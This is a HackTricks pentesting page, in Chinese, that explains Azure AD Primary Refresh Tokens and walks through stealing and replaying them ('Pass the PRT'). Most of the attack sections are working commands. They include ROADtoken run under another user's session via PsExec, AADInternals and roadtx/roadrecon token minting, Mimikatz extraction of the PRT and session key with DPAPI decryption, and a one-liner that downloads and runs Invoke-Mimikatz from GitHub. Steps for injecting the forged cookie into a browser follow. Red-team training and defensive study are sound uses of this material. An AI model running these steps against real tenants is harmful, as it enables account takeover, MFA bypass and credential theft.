Az - Pass the PRT

支持 HackTricks

什么是 PRT

Az - Primary Refresh Token (PRT)

检查您是否拥有 PRT

Dsregcmd.exe /status

在 SSO 状态部分,您应该看到 AzureAdPrt 设置为 YES

在同一输出中,您还可以看到 设备是否已加入 Azure(在字段 AzureAdJoined 中):

PRT cookie 实际上被称为 x-ms-RefreshTokenCredential,它是一个 JSON Web Token (JWT)。JWT 包含 3 个部分头部有效载荷签名,由 . 分隔,并且都是 URL 安全的 base64 编码。一个典型的 PRT cookie 包含以下头部和主体:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

实际的 Primary Refresh Token (PRT) 被封装在 refresh_token 中,该令牌由 Azure AD 控制的密钥加密,使其内容对我们来说是不可见和无法解密的。字段 is_primary 表示该令牌中封装了主刷新令牌。为了确保 cookie 保持与其预期的特定登录会话绑定,request_noncelogon.microsoftonline.com 页面传输。

LSASS 进程将向 TPM 发送 KDF 上下文,TPM 将使用 会话密钥(在设备注册到 AzureAD 时收集并存储在 TPM 中)和先前的上下文来 派生 一个 密钥,该 派生密钥 用于 签名 PRT cookie (JWT)

KDF 上下文是 来自 AzureAD 的随机数和 PRT 创建的 JWT 混合了 上下文(随机字节)。

因此,即使 PRT 不能被提取,因为它位于 TPM 内部,但可以滥用 LSASS 来 请求来自新上下文的派生密钥并使用生成的密钥来签名 Cookies

PRT 滥用场景

作为 普通用户,可以通过请求 LSASS 获取 SSO 数据来 请求 PRT 使用。 这可以像 本地应用程序 一样完成,这些应用程序从 Web Account Manager(令牌代理)请求令牌。WAM 将请求传递给 LSASS,后者使用签名的 PRT 断言请求令牌。或者也可以通过 基于浏览器的 (web) 流 来完成,其中 PRT cookie 用作 头部 来验证对 Azure AS 登录页面的请求。

作为 SYSTEM,如果没有受到 TPM 保护,可以 窃取 PRT使用加密 API 与 LSASS 中的 PRT 密钥交互

Pass-the-PRT 攻击示例

攻击 - ROADtoken

有关此方法的更多信息 请查看此帖子。ROADtoken 将从正确的目录运行 BrowserCore.exe 并使用它来 获取 PRT cookie。然后可以使用此 cookie 与 ROADtools 进行身份验证并 获取持久的刷新令牌

要生成有效的 PRT cookie,您需要的第一件事是一个随机数。 您可以通过以下方式获取:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

或使用 roadrecon

roadrecon auth prt-init

然后您可以使用 roadtoken 来获取新的 PRT(从用户的进程中运行该工具进行攻击):

.\ROADtoken.exe <nonce>

作为单行命令:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

然后您可以使用生成的cookie生成令牌以使用Azure AD Graph或Microsoft Graph进行登录

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

攻击 - 使用 roadrecon

攻击 - 使用 AADInternals 和泄露的 PRT

Get-AADIntUserPRTToken 从 Azure AD 加入或混合加入的计算机获取用户的 PRT 令牌。使用 BrowserCore.exe 获取 PRT 令牌。

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

或者,如果您拥有来自 Mimikatz 的值,您也可以使用 AADInternals 生成令牌:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

前往 https://login.microsoftonline.com,清除所有 login.microsoftonline.com 的 cookies,并输入一个新的 cookie。

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

然后访问 https://portal.azure.com

其余的应该是默认设置。确保您可以刷新页面并且 cookie 不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您应该没问题。

攻击 - Mimikatz

步骤

  1. PRT(主刷新令牌)从 LSASS(本地安全授权子系统服务)中提取并存储以供后续使用。

  2. 接下来提取会话密钥。由于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息,请参阅这些资源:HackTricks,有关其应用的理解,请参阅 Pass-the-cookie attack

  3. 在解密会话密钥后,获得 PRT 的派生密钥和上下文。这些对于创建 PRT cookie至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWT(JSON Web Token)。Dirk-jan 提供了对此过程的全面解释,可以在 这里 找到。

请注意,如果 PRT 在 TPM 中而不在 lsass 中,mimikatz 将无法提取它。 但是,可以从 TPM 的上下文中获取派生密钥的密钥并使用它来签署 cookie(检查选项 3)。

您可以在这里找到提取这些详细信息的深入解释https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

在 2021 年 8 月的修复后,这将无法准确获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT(本地管理员无法访问其他用户的 PRT),但可以访问他的。

您可以使用 mimikatz 提取 PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

复制标记为Prt的部分并保存。 还要提取会话密钥(ProofOfPossesionKey字段的KeyValue),您可以在下面看到高亮显示的部分。这个是加密的,我们需要使用我们的DPAPI主密钥来解密它。

如果您没有看到任何PRT数据,可能是因为您没有任何PRT,因为您的设备没有加入Azure AD,或者您可能在运行旧版本的Windows 10。

解密会话密钥,您需要提升您的权限到SYSTEM,以在计算机上下文中运行,以便能够使用DPAPI主密钥进行解密。您可以使用以下命令来实现:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

选项 1 - 完整的 Mimikatz

  • 现在你想复制上下文值:

  • 以及派生密钥值:

  • 最后,你可以使用所有这些信息来 生成 PRT cookies

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

其余部分应为默认设置。确保您可以刷新页面并且 cookie 不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您就可以继续了。

选项 2 - 使用 PRT 进行 roadrecon

  • 首先更新 PRT,这将其保存在 roadtx.prt 中:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • 现在我们可以使用交互式浏览器通过 roadtx browserprtauth 请求令牌。如果我们使用 roadtx describe 命令,我们会看到访问令牌包含一个 MFA 声明,因为我在这种情况下使用的 PRT 也有一个 MFA 声明。

roadtx browserprtauth
roadtx describe < .roadtools_auth

选项 3 - 使用派生密钥的 roadrecon

在获取上下文和通过 mimikatz 转储的派生密钥后,可以使用 roadrecon 生成一个新的签名 cookie:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

参考文献

支持 HackTricks

Last updated